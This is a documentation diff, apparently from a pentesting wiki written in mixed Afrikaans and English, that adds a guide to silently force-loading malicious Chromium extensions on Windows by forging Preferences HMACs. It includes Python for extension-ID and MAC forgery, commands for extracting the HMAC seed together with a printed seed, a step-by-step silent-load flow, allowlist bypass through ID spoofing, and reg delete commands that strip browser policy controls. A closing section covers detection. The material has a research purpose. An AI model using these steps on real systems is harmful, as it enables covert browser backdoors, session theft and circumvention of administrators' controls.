+- Outomatiese kas van skanresultate; die eerste keer wat 'n extension geskan word sal dit 'n geruime tyd neem. Die tweede keer, mits die extension nie opgedateer is nie, sal dit byna onmiddellik wees as gevolg van kasresultate.
-- Skakelbare Verslag URL's, maklik om iemand anders na 'n uitbreiding verslag wat deur tarnish gegenereer is, te skakel.
+- Deelbare verslag-URL's, maklik om iemand anders na 'n Extension verslag wat deur tarnish gegenereer is te skakel.
 
 ### [Neto](https://github.com/elevenpaths/neto)
 
-Project Neto is 'n Python 3 pakket wat ontwerp is om versteekte funksies van blaaiers se plugins en uitbreidings vir bekende blaaiers soos Firefox en Chrome te analiseer en te ontrafel. Dit outomatiseer die proses van die uitpak van die verpakte lêers om hierdie funksies uit relevante hulpbronne in 'n uitbreiding soos `manifest.json`, lokaliseringsmappes of Javascript en HTML bronlêers te onttrek.
+Project Neto is 'n Python 3 pakket wat ontwerp is om verborge funksies van browser plugins en extensions vir bekende blaaiers soos Firefox en Chrome te ontleed en te ontrafel. Dit outomatiseer die proses om gepakte lêers uit te pak om hierdie funksies uit relevante bronne in 'n extension soos `manifest.json`, lokalisasie-gidse of JavaScript- en HTML-bronkode-lêers te onttrek.
 
-## Verwysings
+## Verwante bronne
 
-- **Dankie aan** [**@naivenom**](https://twitter.com/naivenom) **vir die hulp met hierdie metodologie**
+- **Dank aan** [**@naivenom**](https://twitter.com/naivenom) **vir die hulp met hierdie metodologie**
 - [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)
 - [https://palant.info/2022/08/10/anatomy-of-a-basic-extension/](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/)
 - [https://palant.info/2022/08/24/attack-surface-of-extension-pages/](https://palant.info/2022/08/24/attack-surface-of-extension-pages/)

src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md

@@ -0,0 +1,208 @@
+# Forced Extension Load & Preferences MAC Forgery (Windows)
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Oorsig
+
+Sluipende post-exploitation tegniek om arbitrary extensions in Chromium-based browsers on Windows te force-load deur die gebruiker se Preferences/Secure Preferences te wysig en geldige HMACs vir die aangepaste nodes te vervals. Werk teen Chrome/Chromium, Edge, en Brave. Waargeneem dat dit van toepassing is op Chromium 130 tot 139 op die tydstip van publikasie. 'n Eenvoudige disk write primitive in die slagofferprofiel is voldoende om 'n volledig geprivilegieerde extension te volhard sonder command-line flags of gebruiker-opprompte.
+
+> Sleutelidee: Chromium stoor per-user extension state in 'n JSON preferences-lêer en beskerm dit met HMAC-SHA256. As jy geldige MACs bereken met die browser se ingebedde seed en dit langs jou ingespuit nodes skryf, aanvaar die browser dit en aktiveer jou extension entry.
+
+
+## Waar extension state lê (Windows)
+
+- Nie-domeingekoppelde Chrome-profiel:
+- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (bevat 'n root "super_mac").
+- Domeingekoppelde Chrome-profiel:
+- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
+- Sleutelnodes wat deur Chromium gebruik word:
+- extensions.settings.<extension_id> → ingeslote manifest/metadata vir die extension entry
+- protection.macs.extensions.settings.<extension_id> → HMAC vir daardie JSON blob
+- Chromium ≥134: extensions.ui.developer_mode (boolean) moet teenwoordig en MAC‑gesigneer wees vir unpacked extensions om te aktiveer
+
+Vereenvoudigde skema (illustratief):
+```json
+{
+"extensions": {
+"settings": {
+"<extension_id>": {
+"name": "Extension name",
+"manifest_version": 3,
+"version": "1.0",
+"key": "<BASE64 DER SPKI>",
+"path": "<absolute path if unpacked>",
+"state": 1,
+"from_bookmark": false,
+"was_installed_by_default": false
+// ...rest of manifest.json + required install metadata
+}
+},
+"ui": { "developer_mode": true }
+},
+"protection": {
+"macs": {
+"extensions": {
+"settings": { "<extension_id>": "<MAC>" },
+"ui": { "developer_mode": "<MAC>" }
+}
+}
+}
+}
+```
+Aantekeninge:
+- Edge/Brave handhaaf soortgelyke strukture. Die protection seed-waarde kan verskil (Edge/Brave is in sommige builds waargeneem om 'n null/ander seed te gebruik).
+
+
+## Uitbreidings-ID's: pad vs sleutel en hoe om dit deterministies te maak
+
+Chromium lei die uitbreidings-ID soos volg af:
+- Gepakte/ondertekende uitbreiding: ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0–f to a–p
+- Ongpak (geen 'key' in manifest): ID = SHA‑256 over the absolute installation path bytes → map 0–f to a–p
+
+Om 'n stabiele ID oor verskeie hosts te behou, embed 'n vaste base64 DER publieke sleutel in manifest.json onder "key". Die ID sal van hierdie sleutel afgelei word in plaas van van die installasiepad.
+
+Hulp om 'n deterministiese ID en 'n sleutelpaar te genereer:
+```python
+import base64
+import hashlib
+from cryptography.hazmat.primitives import serialization
+from cryptography.hazmat.primitives.asymmetric import rsa
+
+def translate_crx_id(s: str) -> str:
+t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
+return ''.join(t.get(c, c) for c in s)
+
+def generate_extension_keys() -> tuple[str,str,str]:
+priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
+pub = priv.public_key()
+spki = pub.public_bytes(encoding=serialization.Encoding.DER,
+format=serialization.PublicFormat.SubjectPublicKeyInfo)
+crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
+pub_b64 = base64.b64encode(spki).decode('utf-8')
+priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
+format=serialization.PrivateFormat.TraditionalOpenSSL,
+encryption_algorithm=serialization.NoEncryption())
+priv_b64 = base64.b64encode(priv_der).decode('utf-8')
+return crx_id, pub_b64, priv_b64
+
+print(generate_extension_keys())
+```
+Voeg die gegenereerde publieke sleutel by jou manifest.json om die ID te vergrendel:
+```json
+{
+"manifest_version": 3,
+"name": "Synacktiv extension",
+"version": "1.0",
+"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
+}
+```
+## Vervalsing van Voorkeure-integriteits-MACs (kern-omseiling)
+
+Chromium beskerm voorkeure met HMAC‑SHA256 oor "path" + die geserialiseerde JSON-waarde van elke node. Die HMAC-seed is ingebed in die browser se resources.pak en was steeds geldig tot en met Chromium 139.
+
+Onttrek die seed met GRIT pak_util en lokaliseer die seed-container (file id 146 in getoetste builds):
+```bash
+python3 pak_util.py extract resources.pak -o resources_v139/
+python3 pak_util.py extract resources.pak -o resources_v139_dirty/
+# compare a clean vs minimally modified resources.pak to spot the seed holder
+xxd -p resources_v139/146
+# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8
+```
+Bereken MACs (heksadesimaal in hoofletters) soos:
+```text
+ext_mac = HMAC_SHA256(seed,
+"extensions.settings.<crx_id>" + json.dumps(<settings_json>))
+
+devmode_mac = HMAC_SHA256(seed,
+"extensions.ui.developer_mode" + ("true" or "false"))
+```
+Minimale Python-voorbeeld:
+```python
+import json, hmac, hashlib
+
+def mac_upper(seed_hex: str, pref_path: str, value) -> str:
+seed = bytes.fromhex(seed_hex)
+# Compact JSON to match Chromium serialization closely
+val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
+msg = (pref_path + val).encode('utf-8')
+return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()
+
+# Example usage
+settings_path = f"extensions.settings.{crx_id}"
+devmode_path = "extensions.ui.developer_mode"
+ext_mac = mac_upper(seed_hex, settings_path, settings_json)
+devmode_mac = mac_upper(seed_hex, devmode_path, "true")
+```
+Skryf die waardes onder:
+- protection.macs.extensions.settings.<crx_id> = ext_mac
+- protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)
+
+Browser differences: on Microsoft Edge and Brave the seed may be null/different. The HMAC structure remains the same; adjust the seed accordingly.
+
+> Implementasietips
+> - Use exactly the same JSON serialization Chromium uses when computing MACs (compact JSON without whitespace is safe in practice; sorting keys may help avoid ordering issues).
+> - Ensure extensions.ui.developer_mode exists and is signed on Chromium ≥134, or your unpacked entry won’t activate.
+
+
+## End‑to‑end silent load flow (Windows)
+
+1) Generate a deterministic ID and embed "key" in manifest.json; prepare an unpacked MV3 extension with desired permissions (service worker/content scripts)  
+2) Create extensions.settings.<id> by embedding the manifest and minimal install metadata required by Chromium (state, path for unpacked, etc.)  
+3) Extract the HMAC seed from resources.pak (file 146) and compute two MACs: one for the settings node and one for extensions.ui.developer_mode (Chromium ≥134)  
+4) Write the crafted nodes and MACs into the target profile’s Preferences/Secure Preferences; next launch will auto‑activate your extension with full declared privileges
+
+
+## Omseil van enterprise-beheer
+
+- Whitelisted extension hash spoofing (ID spoofing)  
+1) Install an allowed Web Store extension and note its ID  
+2) Obtain its public key (e.g., via chrome.runtime.getManifest().key in the background/service worker or by fetching/parsing its .crx)  
+3) Set that key as manifest.key in your modified extension to reproduce the same ID  
+4) Register the entry in Preferences and sign the MACs → ExtensionInstallAllowlist checks that match on ID only are bypassed
+
+- Extension stomping (ID collision precedence)  
+- If a local unpacked extension shares an ID with an installed Web Store extension, Chromium prefers the unpacked one. This effectively replaces the legitimate extension in chrome://extensions while preserving the trusted ID. Verified on Chrome and Edge (e.g., Adobe PDF)
+
+- Neutralizing GPO via HKCU (requires admin)  
+- Chrome/Edge policies live under HKCU\Software\Policies\*  
+- With admin rights, delete/modify policy keys before writing your entries to avoid blocks:
+```powershell
+reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
+reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f
+```
+## Luidrugtige terugval: command-line laai
+
+Vanaf Chromium ≥137 vereis --load-extension ook dat jy die volgende deurgee:
+```text
+--disable-features=DisableLoadExtensionCommandLineSwitch
+```
+This approach is widely known and monitored (e.g., by EDR/DFIR; used by commodity malware like Chromeloader). Preference MAC forging is meer onopvallend.
+
+Related flags and more cross‑platform tricks are discussed here:
+
+{{#ref}}
+../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md
+{{#endref}}
+
+
+## Operational impact
+
+Sodra dit aanvaar is, voer die extension uit met sy verklaarde permissies, wat DOM-toegang, request interception/redirects, cookie/storage-toegang en screenshot capture moontlik maak—dit beteken effektiewe in‑browser code‑uitvoering en volhoubare gebruikersprofiel‑persistensie. Afstandsimplementering oor SMB of ander kanale is eenvoudig omdat aktivering data‑gedrewe via Preferences geskied.
+
+
+## Detection and hardening
+
+- Monitor vir nie‑Chromium‑prosesse wat in Preferences/Secure Preferences skryf, veral nuwe nodes onder extensions.settings wat saamval met protection.macs entries
+- Waarsku oor onverwagte omskakeling van extensions.ui.developer_mode en oor HMAC‑geldige maar nie‑goedgekeurde extension entries
+- Kontroleer HKCU/HKLM Software\Policies vir knoeiing; dwing policies af via device management/Chrome Browser Cloud Management
+- Gee voorkeur aan forced‑install vanaf die store met geverifieerde publishers eerder as allowlists wat slegs op extension ID pas
+
+
+## References
+
+- [The Phantom Extension: Backdooring chrome through uncharted pathways](https://www.synacktiv.com/en/publications/the-phantom-extension-backdooring-chrome-through-uncharted-pathways.html)
+- [pak_util.py (GRIT)](https://chromium.googlesource.com/chromium/src/+/master/tools/grit/pak_util.py)
+- [SecurePreferencesFile (prior research on HMAC seed)](https://github.com/Pica4x6/SecurePreferencesFile)
+- [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome)
+
+{{#include ../../banners/hacktricks-training.md}}